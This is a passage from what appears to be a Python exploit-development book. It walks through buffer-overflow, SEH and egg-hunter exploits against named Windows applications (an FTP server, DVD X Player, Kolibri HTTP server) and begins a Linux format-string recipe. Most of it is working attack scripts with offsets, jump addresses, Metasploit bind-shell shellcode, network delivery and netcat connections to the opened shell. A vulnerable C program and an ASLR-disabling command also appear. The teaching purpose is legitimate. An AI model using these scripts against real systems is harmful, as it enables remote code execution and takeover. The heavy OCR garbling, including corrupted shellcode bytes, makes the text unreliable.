"Aa®AalAa2Aa3AadAa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3Ab4AD5AD6AD7ADBADIACOACIAC2AC3AC4ACSACBACTACBACIAdOAdL

7. Now restart the application in the Immunity Debugger which is running in the test machine:

|£|Fi|e Wigw Plugins Immlib  Cptions  Window Help  Jobs
i EE R ]

I em t w

Close t! Alt+FZ

Stepinto

Step over

8. Then run the Python script again:

&
E
E
E
E
E
E
=
E
E

|c}

La=tErr ERRO

This will also crash the application, but the EIP register is updated with a part of the
patterns we injected

9. Now we can use the mona for analyzing the crash. Run the following command in the
Immunity Debugger console:



| 'mona findmsp

The output will be as follows:

BEADFEA0 [+) T
“monaﬁndmsp

From this we can identify that the EIP register is overwritten by the 4-bytes after the
247th.

10. So now we can update the pattern which could exactly overwrite the EIP register with the
data we want.

So, we can try writing A for the first 247 and then 4 B for EIP register and add the
padding with C, as we need 1,000. Then update the Python script with the new payload:

| evil = "A"*247 + "B"*4 + "C"*749

Restart the application inside the debugger and run the Python script again. This will also
crash the application. But, check the registers:



o

Tha 41414191
41414141

41414141
41414141
31414141

Now the EIP is overwritten by the value we provided. Here it is 42424242, which is ssss.

11. Now we have to replace ssss with the pointer to redirect the execution flow to the ESP
register. We can make use of mona to find this pointer:

| 'mona jmp -r esp

The output will be as follows:

!mona jmp -1 esp

We can use the first pointer from the list, which is 77defess.



12. Now craft the payload with the pointer we selected. Make sure to reverse the byte order to
match the Little Endian architecture of the CPU. Update the Python script with the

following value in the evii:

| evil = "A"*247 + "\x69\xfO\xde\x77" +

"c"*749

Now restart the application in the Immunity Debugger and set a break point at 77defoso.
You can go to the address with the Go to option in the Immunity Debugger:

Backup 3
Copy 3
Binary 3
Assemble Space
Label 4
Camment ]

Add Header

Modify Variable

Follow Enter

Breakpaint 3
Run trace 3

Thread 3

Follow in Dump »
Search for 3
Find references to 3
Wigw 3
Copy ko executable 3
Analysis 3
Bookmark, 3
Appearance 3

Previous  Minus

Expression Ctrl4+G

Backup 3
Copy »
Binary .3
Assemble Space
Label

Carnment H

Add Header
Madify Yariable
B oink
Run trace

Follows

Goto 3
Thread >
Follow in Dump 3
Search for >
Find references to 3

Select the Memory, on access option.

4 ntdll.KiFa
A

it BLFF
it PFFDDBeE!
I
Toggle
Conditional Shift+F2
Conditional log Shift+F4

Memary, on access
Mernory, on write
Remove memory breakpoint

Hardware, on execution
Remave hardware breakpoint

Then run the Python script. This will break the application at the breakpoint and we can

view the registers as follows:



i FFFF]

FFFF)
FFFFF)

13. Now we can generate the shell code from Metasploit and include it in the payload:

msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga nai -b
'\x00\x0A\x0D' -i 3 -f python

14. Update the script with the shell code. Then the script will be as follows:

#!/usr/bin/python

import socket

import sys

buf = "n

buf += "\xbf\x9e\xc5\xad\x85\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b"
buf += "\xc9\xb1\x5b\x83\xee\xfc\x31\x7e\x11\x03\x7e\x11\xe2"
buf += "\x6b\x7f\xe5\xd1\x52\x2f\x2c\x11\x8d\x44\xf5\x56\x73"
buf += "\x94\x3c\x27\xde\xe7\xe8\x5a\x63\xc1\x11\x58\x7d\x94"
buf += "\x3a\x04\xc4\x94\x24\x50\x67\x99\x3f\x8a\x42\x38\xa1"
buf += "\x5d\x62\xd7\x19\x04\xbb\x10\x79\x3c\xf1\x22\x2d\x15"




buf += "\x50\x23\x53\xe3\xb6\xe5\x7e\xc1\xe1\x89\x97\x85\xa2"
buf += "\xbc\xbd\x3b\xb9\xbb\x71\x02\xde\x93\xe3\xc0\x22\x24"
buf += "\xa5\x5d\x88\x4d\x31\xe6\xf9\xa2\xaf\x87\xd3\xco\xaf"
buf += "\xc3\xa5\x06\x8b\xb7\xac\xfO\x18\x10\x6b\xc4\xb4\x71"
buf += "\xdf\x88\xd7\xda\xe0\x34\xa5\x88\xe0\x38\x6f\x6a\x06"
buf += "\xbe\xe5\x63\xe3\xc8\x09\x91\xee\x9c\x75\x23\xe3\x7c"
buf += "\xb5\xe9\xef\xc7\x12\x1e\x05\xa8\x26\x9e\xed\x7e\x86"
buf += "\xce\x78\xec\x7e\x6e\x3b\x91\xa2\x8d\x1c\xcO\x08\x80"
buf += "\xd2\x78\x88\xbd\xb7\xf5\x7e\x84\x51\x88\x5a\xa8\xbe"
buf += "\x83\x9b\x46\x59\xbb\xb1\xe3\xd3\x52\xbe\x06\x2a\xbb"
buf += "\xbc\x2a\x43\xb0\x6F\x91\x66\x73\x81\x58\x03\xc1\x03"
buf += "\xa8\xf2\xe8\x3d\x9c\x69\x98\x59\xb4\x0c\x55\x85\x30"
buf += "\Xx14\x49\x27\x9f\xfa\x79\x38\x6e\xfc\xf5\x49\x14\x83"
buf += "\Xx64\x40\x5f\x52\xd7\xf1\x62\xec\xa6\xfO\x3d\xb9\xb7"
buf += "\xd3\xa4\x17\xd0\xb2\x54\xb0\x82\x4b\xde\x2e\xd9\xda"
buf += "\x34\xfb\xc3\xfa\xfc\xc9\xde\x24\x9f\x60\x03\xf5\xcO"
buf += "\xcd\x33\x61\xd2\xe7\xd5\xce\xa3\xb1\xcc\x5d\x29\x94"
buf += "\x20\xe5\x8f\xa8\x30\x0e\x0b\x78\x72\xd7\x88\x46\xa4"
buf += "\x7e\x09\x5b\x8d\xff\xd8\x89\xb0\x86\xc4\x3d\x25\xf4"
buf += "\x52\xdf\xa7\xde\x6b\x04\xce\x52\xa2\xal\xb5\x7c\x2e"
buf += "\x14\xee\xel\x8d\xb9\x5d\xa5\x22\xd0\x5d\xd2\x61\xfa"
buf += "\x3c\xae\xa3\x76\xca\x30\xcd\xe0\x74\xb8\x75\x7e\x0b"
buf += "\Xx81\xf6\x03\Xx71\x07\x17\x6d\xf6\xa5\xfo\xdd\x42\xe8"
buf += "\Xx6F\x82\x65\x6d\x92\xd5\x17\x85\x82\x48\x04\x53\xde"
buffer = "\x90"*20 + buf

evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.37',21))

print (connect)

s.recv(1024)

s.send('USER anonymous\r\n')
s.recv(1024)

s.send('PASS anonymous\r\n')
s.recv(1024)

s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n")

s.close

15. Restart the application in the debugger and run the Python script. This will inject the shell
code. Now we can try connecting to the victim machine with nc:

| nc -nv 192.168.1.37 4444




Structured Exception Handling

The Structured Exception Handling (SEH) is a protection mechanism to prevent the buffer
overflows. SEH uses a linked list as it contains a sequence of data records. When an exception
occurs, the OS will go through this list and check for the suitable exception function. For this, the
exception handler requires a pointer to the current exception registration record (SEH) and
another pointer to the next exception registration record (nSEH). As the Windows stack grows
downwards, the order will be reversed:

Top of the stack

Exception Handler 1

Pointer to the next SEH (nSEH)
2x4

bytes

Pointer to the Exception handler

Exception Handler 1

Pointer to the next SEH (nSEH)
2x4

bytes

Pointer to the Exception handler

Exception Handler 1

Pointer to the next SEH (nSEH)
2x4

bytes

Pointer to the Exception handler

Bottom of the stack

So, if we can overwrite the SEH with a rop pop reTn instruction, the POP will remove four bytes
from the top of the stack and the RETN will return an execution to the top of the stack. As the
SEH is located at esp+s, we can increment the stack with eight bytes and return to the new pointer
at the top of the stack. Then we will be executing nSEH. So, we can add a four-byte opcode to
jump to another memory location where we can include the shell.



Getting ready

In this recipe, we are going to work with another vulnerable application: DVD X Player 5.5
PRO. You can download it from: https://rejahrehim.com/assets/sample-package/dvd_player_sample.zip.

As in the previous recipe, we need a victim machine, Windows XP, installed with the Immunity
Debugger and mona.py. Also, install the downloaded application, DVD X Player 5.5 PRO, in the
Windows machine.


https://rejahrehim.com/assets/sample-package/dvd_player_sample.zip

How to do it...

Here are the steps to create an exploit script for SEH attack:

1. Start the Immunity Debugger in the Windows machine and attach the vulnerable application
to it:

*.| Immunity Debugger - [CPU]
=N View Debug Plugins Immlib  Options Window Help Jobs

Cpen
Attach

Exit:

1 C:\Program Files\AviosoftDvD X Player 5.5 ProfessionaliDvDxPlayer EXE
2 C\Documents and SettingsirejahiMy Documents\Downloadshea7efef72do

Select process to attach

glangBar_lndTit

new tab (Ctrl+T)

Cancel

2. Create a Python file called dvd_exp1oit.py to exploit or the DVD player and open it in your
editor.

3. As we are creating an exploit based on a file format, we will be creating a playlist file (.p1r)
with a long buffer in it and allow the DVD player to read it. Due to the long buffer, the
DVD player will crash with the buffer overflow. So, the victim needs to open the playlist
file:

#!/usr/bin/python
filename="evil.plf"

buffer = "A"*2000

textfile = open(filename , 'w')

textfile.write(buffer)
textfile.close()

4. Then create the playlist file by running the Python script and open it with the player:

| python dvd_exploit.py
This will create a evi1.pif file
5. Open it in the DVD player. Then the player will crash.

Check the registers for the crash. Also pass the crash with the Shift + F9 keys:



Fegisters (FFU) £ < £ <
1

Here in the register, there are many zeros because the SEH zeroed them. And then we can
check the SEH chain to verify that we have overwritten the SEH:

%% SEH chain of main thread E]g]
41

| Address |

Now, we can generate a pattern and update the script to generate the playlist file. We

have downloaded a script to generate the pattern for the previous recipe. We can use the
same script:

| python exploit-pattern/pattern.py 2000

6. Update the pattern in the Python script and generate the payload file:

#!/usr/bin/python
filename="evil.plf"
buffer =

"AaGAalAa2Aa3AadAa5Aab6Aa7Aa8Aa9AbOAb1Ab2Ab3Ab4AD5AD6AD7ADBADIACOACIAC2AC3ACAACSACBACTACBACIAdOAdL
textfile = open(filename , 'w')

textfile.write(buffer)
textfile.close()

7. Open the generated playlist file in the application. It will crash. Now we can use the mona.py

to analyze the crash and get us the details. To do this, run the following command in the
Immunity Debugger console:

| 'mona findmsp



Address | Message

From this we can infer that SEH is the 4 bytes after 608.

8. So we can craft our test payload so that it will be like buffer = "a"*604 + [nSEH] + [SEH] +
"pv+1384. We can add esss for nSEH and cccc for SEH:

| buffer = "A"*604 + "B"*4 + "C"*4 + "D"*1388

Then our script will be as follows:

#!/usr/bin/python

filename="evil.plf"

buffer = "A"*6@4 + IIBII*4 + IICI|*4 + llDll*1388
textfile = open(filename , 'w')
textfile.write(buffer)

textfile.close()

9. Run the script and generate the playlist file and open it with the application.
10. Now we need to get a valid pointer, as we need to overwrite SEH with a pointer. To do this,
‘we Can use mona.py.

| 'mona seh

The output will be as follows:



11.

12.

13.

14.

15.

|!mona seh

Select s pointer from this one. Here we can select the following one:

0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.d1l1l] ASLR:
False, Rebase: False, SafeSEH: False, 0S: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X
Player 5.5 Professional\EPG.d1ll)

Now we can update the buffer in the script to write this to the SEH:

buffer = "A"*604 + "B"*4 + "\x19\x76\x61\x61" + "D"*1388

Now, our script will be as follows:

#!/usr/bin/python

filename="evil.plf"

buffer = "A"*604 + "B"*4 + "\x19\x76\x61\x61" + "D"*1388
textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()

Run the script and generate the playlist file and a breakpoint at the SEH. Then, load it in to
the DVD player application. Now check the SEH memory location. We can find that the
pointer we put in the SEH is converted to opcode:

O+mDDD
=]

oooo

pooo

pooo

44 OODOD

44 0OOD

44 0OOD

4 0OD0O

. 44 0oo0
44444444 0OOD

Next we can insert an opcode to make a short jump from nSEH to our padding area with the
D.

Now we can generate a shell code with Metasploit and update the script to include the shell
code. We can use the same shell code generated for the previous recipe. Now our exploit
code will be as follows:



#!/usr/bin/python

filename="evil.plf"

buf = nn

buf += "\xbf\x9e\xc5\xad\x85\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b"
buf += "\xc9\xb1\x5b\x83\xee\xfc\x31\x7e\x11\x03\x7e\x11\xe2"
buf += "\x6b\x7f\xe5\xd1\x52\x2f\x2c\x11\x8d\x44\xf5\x56\x73"
buf += "\x94\x3c\x27\xde\xe7\xe8\x5a\x63\xc1\x11\x58\x7d\x94"
buf += "\x3a\x04\xc4\x94\x24\x50\x67\x99\x3f\x8a\x42\x38\xal1"
buf += "\x5d\x62\xd7\x19\x04\xbb\x10\x79\x3c\xf1\x22\x2d\x15"
buf += "\x50\x23\x53\xe3\xb6\xe5\x7e\xc1\xe1\x89\x97\x85\xa2"
buf += "\xbc\xbd\x3b\xb9\xbb\x71\x02\xde\x93\xe3\xc0\x22\x24"
buf += "\xa5\x5d\x88\x4d\x31\xe6\xf9\xa2\xaf\x87\xd3\xcO\xaf"
buf += "\xc3\xa5\x06\x8b\xb7\xac\xfO\x18\x10\x6b\xc4\xb4\x71"
buf += "\xdf\x88\xd7\xda\xe0\x34\xa5\x88\xe0\x38\x6f\x6a\x06"
buf += "\xbe\xe5\x63\xe3\xc8\x09\x91\xee\x9c\x75\x23\xe3\x7c"
buf += "\xb5\xe9\xef\xc7\x12\x1e\x05\xa8\x26\x9e\xed\x7e\x86"
buf += "\xce\x78\xec\x7e\x6e\x3b\x91\xa2\x8d\x1c\xcO\x08\x80"
buf += "\xd2\x78\x88\xbd\xb7\xf5\x7e\x84\x51\x88\x5a\xa8\xbe"
buf += "\x83\x9b\x46\x59\xbb\xb1\xe3\xd3\x52\xbe\x06\x2a\xbb"
buf += "\xbc\x2a\x43\xb0O\x6F\x91\x66\x73\x81\x58\x03\xc1\x03"
buf += "\xa8\xf2\xe8\x3d\x9c\x69\x98\x59\xb4\x0c\x55\x85\x30"
buf += "\x14\x49\x27\x9f\xfa\x79\x38\x6e\xfc\xf5\x49\x14\x83"
buf += "\x64\x40\x5F\x52\xd7\xf1\x62\xec\xa6\xfO\x3d\xb9\xb7"
buf += "\xd3\xa4\x17\xd0\xb2\x54\xb0\x82\x4b\xde\x2e\xd9\xda"
buf += "\x34\xfb\xc3\xfa\xfc\xco\xde\x24\x9f\x60\x03\xf5\xcO"
buf += "\xcd\x33\x61\xd2\xe7\xd5\xce\xa3\xb1\xcc\x5d\x29\x94"
buf += "\x20\xe5\x8f\xa8\x30\x0e\x0b\x78\x72\xd7\x88\x46\xa4"
buf += "\x7e\x09\x5b\x8d\xff\xd8\x89\xb0\x86\xc4\x3d\x25\xf4"
buf += "\x52\xdf\xa7\xde\x6b\x04\xce\x52\xa2\xal\xb5\x7c\x2e"
buf += "\x14\xee\xel\x8d\xb9\x5d\xa5\x22\xd0\x5d\xd2\x61\xfa"
buf += "\x3c\xae\xa3\x76\xca\x30\xcd\xe0\x74\xb8\x75\x7e\x0b"
buf += "\x81\xf6\x03\x71\x07\x17\x6d\xf6\xa5\xf9\xdd\x42\xe8"
buf += "\x6f\x82\x65\x6d\x92\xd5\x17\x85\x82\x48\x04\x53\xde"
#buffer =
"AaB®AalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AD7AD8ADIACOACIAC2AC3AC4ACSACBAC7ACSACIAdOAdL,

evil = "\x90"*20 + buf

buffer = "A"*608 + "\XEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()

16. Now generate the payload file with the script.
17. Run the application in the debugger and load the payload.
18. Now we can run the nc command to connect to the system:

| nc -nv 192.168.1.37 4444



Egg hunters

In the buffer overflow, we hijack the execution flow and redirect to a CPU register that contains
part of our buffer and the instructions in that buffer will be executed. But, if the buffer size is
very small we can't inject any payload. So we can't exploit the vulnerability. In such cases, we
have to check two possible options. First check if the location of the buffer, before overwriting
the EIP register, is located in the memory. The other option is a buffer segment in a different
region of the memory and nearby so that we can jump to the offset.

An egg hunter is created with a set of instructions that are translated to opcode. So, the egg
hunters can be used to search the entire memory range, including the stack and heap, for the final
stage shell code and redirect the execution flow to the shell code.

Egg hunters include a user-defined four-byte tag, which will be used to search through the
memory until it finds this tag repeated twice. When it finds the tag, it will redirect the execution
flow to just after the tag where our shell code resides.



Getting ready

We require another application for demonstrating this method of creating an exploit. Here we use
the Kolibri v2.0 HTTP Server. This can be downloaded from: https://rejahrehim.com/assets/sample-package/

Kolibri_sample.zip.

Our victim machine is a Windows XP 32 bit machine. Make sure to install the Immunity
Debugger with mona.py in it.


https://rejahrehim.com/assets/sample-package/Kolibri_sample.zip

How to do it...

Here are the steps to generate an exploit script with egg hunters:

1. We have to create a new exploit file. So create ko1ibri_exploit.py and open it in your editor.
2. We can start with a big buffer submitting to the server. So add the following code. Make
sure to update the IP address with the correct IP address of your vulnerable machine:

#!/usr/bin/python

import socket

import os

import sys

buff = "A"*600

buffer = (

"HEAD /" + buff + " HTTP/1.1\r\n"

"Host: 192.168.1.37:8080\r\n"

"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12\r\n"

"Keep-Alive: 115\r\n"

"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))

expl.send(buffer)

expl.close()

3. Open the vulnerable application with the debugger as File | Open and select the kolibri.exe.
4. Then run the exploit script we created:

| python kolibri_exploit.py

This will crash the application as usual:



Address
5

41414141
41414141
41414141

1414141

1414141
41414141
41414141
41414141
41414141
41414141
41414141

1414141

1414141
41414141
41414141
41414141
41414141
41414141
41414141

5. Then change the  buffer with the pattern. We can use the pattern generator to create a
pattern. Update the code with the pattern. Our script will be as follows:

#!/usr/bin/python

import socket

import os

import sys

buff =
"Aa@AalAa2Aa3AadAa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3Ab4AD5AD6AD7ADBADIACOACIAC2AC3ACAACSACBACTACBACOAdOAdL

buffer = (

"HEAD /" + buff + " HTTP/1.1\r\n"

"Host: 192.168.1.37:8080\r\n"

"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12\r\n"

"Keep-Alive: 115\r\n"

"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))

expl.send(buffer)

expl.close()

6. Restart the application and run the script again. This will also crash the application. Then
use mona to get the details about registers. To do this, provide the following command in the
Immunity Debugger console:

'mona findmsp



From this we can identify that the EIP can be overwritten by four bytes after 515 bytes

7. Based on the information, we can update the buffer as follows:
| buf = "A"*515 + [EIP] + "B"*81

8. Now we can get an address to redirect the execution flow to the ESP register. For that we
can make use of mona.py-.

| 'mona jmp -r esp
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We can select one of the pointers from this and place it in our buffer. We can select the
following pointer:

0x7e45b310 : jmp esp | {PAGE_EXECUTE_READ} [USER32.d1l1l] ASLR: False, Rebase: False, SafeSEH:
True, 0S: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.d1ll)

Also, we will place the egg hunter in the buffer and make a short jump to that. To do this,
we have to include the opcode for the short jump at the end. So, update the buffer
accordingly with the pointer and the opcode for the short jump. The opcode short jump
can be calculated as follows. The short jump opcode starts with \xes followed by the
distance we need to jump. Here we have to jump 60 bytes back.

So convert the -60 decimal to Hex with the calculator:
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9. Now, combining these two, the opcode will be \xeg\xc4 as follows:
10. Now, our script will be as follows:

#!/usr/bin/python

import socket

import os

import sys

buff = "A"*515 + "\x10\xb3\x54\x7e" +"\XEB\xC4"

buffer = (

"HEAD /" + buff + " HTTP/1.1\r\n"

"Host: 192.168.1.37:8080\r\n"

"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12\r\n"

"Keep-Alive: 115\r\n"

"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))

expl.send(buffer)

expl.close()

11. Now restart the application and the debugger and run the script again. With this execution,
the flow will redirect to ESP from EIP, as ESP contains our short jump and it will jump
back 60 bytes to end up in the area where we put the a buffer:

+ B(FFFFFFFF)

J!rnuna jmp -r esp

12. Now we can generate an egg hunter with mona.py and include it in the script.

Issue the following commands in the Immunity Debugger console and copy the generated



egg hunter code:

'mona help egg
'mona egg -t b33f

BEADFECED

Imona

13. Update the script with the egg hunter code. Now our script will be as follows:

#!/usr/bin/python

import socket

import os

import sys

hunter = (

"\x66\x81\xca\xff"

"\x0f\x42\x52\x6a"

"\x02\x58\xcd\x2e"

"\x3c\x05\x5a\x74"

"\xef\xb8\x62\x33"

"\x33\x66\x8b\xfa"

"\xaf\x75\xea\xaf"

"\x75\xe7\xff\xe7")

buff = "A"*478 + hunter + "A"*5 + "\x10\xb3\x54\x7e" +"\XEB\xC4"
buffer = (

"HEAD /" + buff + " HTTP/1.1\r\n"

"Host: 192.168.1.37:8080\r\n"

"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12\r\n"

"Keep-Alive: 115\r\n"

"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))

expl.send(buffer)

expl.close()

14. Now generate the shell code with Metasploit and include the shell in the script to push the
shell code to the server. So our final script with the shell code will be as follows:

#!/usr/bin/python

import socket

import os

import sys

hunter = (

"\x66\x81\xca\xff"

"\x0f\x42\x52\x6a"

"\x02\x58\xcd\x2e"

"\x3c\x05\x5a\x74"

"\xef\xb8\x62\x33"

"\x33\x66\x8b\xfa"

"\xaf\x75\xea\xaf"

"\x75\xe7\xff\xe7")

shellcode = (
"\xdb\xcf\xd9\x74\x24\xF4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\X50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\Xx30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6¢C"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\X55\Xx75\x61\x49\x42\x35\x34\x6C\x4b\x52\x72\x70\x30\x6C\x4b"
"\Xx43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6C\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\Xx69\Xx50\x6Cc\Xx6C\x75\x6C\x35\x31\x53\x4C\x46\x62\x34\x6C\x37"
"\X50\Xx6F\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"




"\Xx6c\Xx63\x31\x68\x50\x4Cc\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6C\x4b\x57\x38\x74"
"\X58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6C"
"\X62\x69\x6e\x6b\x45\x64\x6C\x4b\x76\x61\x59\x46\x45\x61\x39"
"\XBFAX70\Xx31\X39\X50\x6Cc\Xx6C\Xx4F\x31\x48\x4F\x66\x6d\x45\x51"
"\X79\X57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\Xx68\X77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\Xx33\Xx68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\Xx4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\Xx6b\x47\x71\x48\x50\x4Cc\x49\x31\x54\x45\x74\x36\x44\x43"
"\Xx6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6F\x6b\x50"
"\Xx56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\Xx42\x48\x47\x43\x55\x62\x63\x30\Xx35\X50\x51\x78\x61\x67"
"\X43\X43\X77\x42\Xx31\x4F\x52\x74\x35\X38\X70\x4Cc\Xx74\x37\x37"
"\X56\X37\X77\x4b\Xx4F\x78\Xx55\X6C\X78\Xx4C\X50\Xx67\X71\x67\x70"
"\X75\Xx50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\X70\Xx42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\X76\X30\X77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\X4F\X4b\Xx6F\X4b\X50\x79\X6F\X78\x55\Xx4F\Xx79\x59\x57\x75\x61"
"\X6b\X6b\x42\x73\X51\x78\Xx57\Xx72\x35\X50\x55\x77\x34\x44\x4d"
"\Xx59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\X4b\Xx6b\Xx64\X77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\X58\x4f\x47\x4d\x39\x55\x68\x69\x6F\x49\x6F\x5a\x75\x33\x63"
"\Xx32\X73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\X6F\X5a\X75\X30\X57\x4F\Xx79\Xx78\x47\x61\x78\x34\x35\x30\x6e"
"\X70\Xx4d\x63\x51\x39\x6F\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\X34\X57\x70\X6F\X79\x5a\x43\x43\x67\X71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\X76\X4b\x77\Xx31\X54\x44\x64\X65\X6C\X77\Xx71\x37\x71\x4c\x4d"
"\X37\Xx34\x57\x54\x34\x50\x59\X56 \x55\X50\x43\x74\x61\x44\x46"
"\X30\X73\x66\Xx30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\X66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6¢c\x67\x4f\x4e"
"\Xx66\Xx79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\X4b\X4F\x36\X50\X71\x78\x54\x48\x4Cc\x47\x75\x4d\Xx51\x70\x4b"
"\X4f\x48\x55\x6f\x4b\x6Cc\x30\x78\x35\x6F\x52\x33\x66\x33\x58"
"\X6C\X66\x4F\Xx65\X6T\x4d\x4F\x6d\x6b\x4F\x7a\x75\x75\x6c\x56"
"\Xx66\Xx51\x6Cc\x65\x5a\x4b\x30\Xx79\x6b\Xx69\Xx70\X51\Xx65\X77\x75"
"\x6d\X6b\x30\x47\x36\x73\x31\x62\x62\x4F\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")

buff = "A"*478 + hunter + "A"*5 + "\x10\xb3\x54\x7e" +"\xEB\xC4"
shell = "b33fb33f" + shellcode

buffer = (

"HEAD /" + buff + " HTTP/1.1\r\n"

"Host: 192.168.1.37:8080\r\n"

"User-Agent: " + shell + "\r\n"

"Keep-Alive: 115\r\n"

"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))

expl.send(buffer)

expl.close()

15. Now restart the application in the debugger and run the script to exploit. Check the exploit
with the nc command:

| nc -nv 192.168.1.37 9988



Linux Exploit Development

In this chapter, we will cover the following recipes:

e Format string exploitation
¢ Buffer overflow



Introduction

Developing exploits for vulnerabilities in the applications developed for the Linux environment
can be done with the Python tools. We have to use debuggers such as pwndbg to debug the
applications. Then, we can use Python scripts to exploit the vulnerabilities. In this chapter, we
will go through some basic vulnerabilities and methods to develop an exploit script for it with
Python.



Format string exploitation

A format string is an ASCIIZ string that contains text and format parameters. The format string
vulnerability occurs when the submitted data of an input string is evaluated as a command by the
application. With the help of this method, the attacker could execute code, read the stack, and
may cause a segmentation fault. Format string vulnerability exist in most of the printr family
functions, such as printf, sprintf, and fprintf. These are the common parameters that can be used
in format string vulnerabilities:

e ' It reads data from the stack

e ysv: It reads character strings from the process memory

e %n: It writes an integer to locations in the process memory
e % It's external representation of a pointer to void



Getting ready

We need a 32-bit x86 Linux real or virtual environment for creating the vulnerable application
and getting the basic idea about the process involved in it. It is also a prerequisite to have a basic
idea about some concepts in Linux environments.

Make sure to install the pwndog debugger in the Linux environment. To check, open up the
Terminal and type gdb:

| >> gdb
This will open up the pwndbg console if installed:
| pwndbg>

You can use q to quit from this console. We also need a vulnerable application for our work. For
better understanding we can create a simple vulnerable application in C.



Global offset table

A global offset table is used by the program during its compile time. It helps to get the location
of the function used from external libraries. To view this we have to depend on the objdump
command. The objdump command is the Linux environment used to get the detailed information of
an object file. This is very helpful while debugging.



Generating shell code

To generate shell code for injecting we have to use Metasploit shell code generation
functionality, so make sure you have Metasploit installed on your machine.



How to do it...

Here are the steps to create an exploit script for exploiting format string in Linux environment:

1. To start, we need to create a vulnerable application. So, we can write a C file with format
string vulnerability. Create an rmt.c file and open it in your editor.
2. Add the following code in it and Save:

#include <stdio.h>

int main(int argc, char **argv){
char buf[1024];
strcpy(buf, argv[1]);
printf(buf);
printf("\n");

}

3. We need to compile this code with format security disabled. For that run the following
command:

gcc fmt.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o
fmt

This will create an executable named fmt. We can use this as our sample application.

4. Make sure to disable Address Space Layout Randomization (ASLR) in your test
machine:

| sysctl -w kernel.randomize va_space=0

5. Now we can run the application for testing:

| ./fmt TEST
This will print the parameter passed to the application

6. Then we will test the application with the format string inputs:

L/fmt %xX%X%X%X
./fmt %n%n%n%n

Here the first test prints some hexadecimal values from the stack, but the second writes
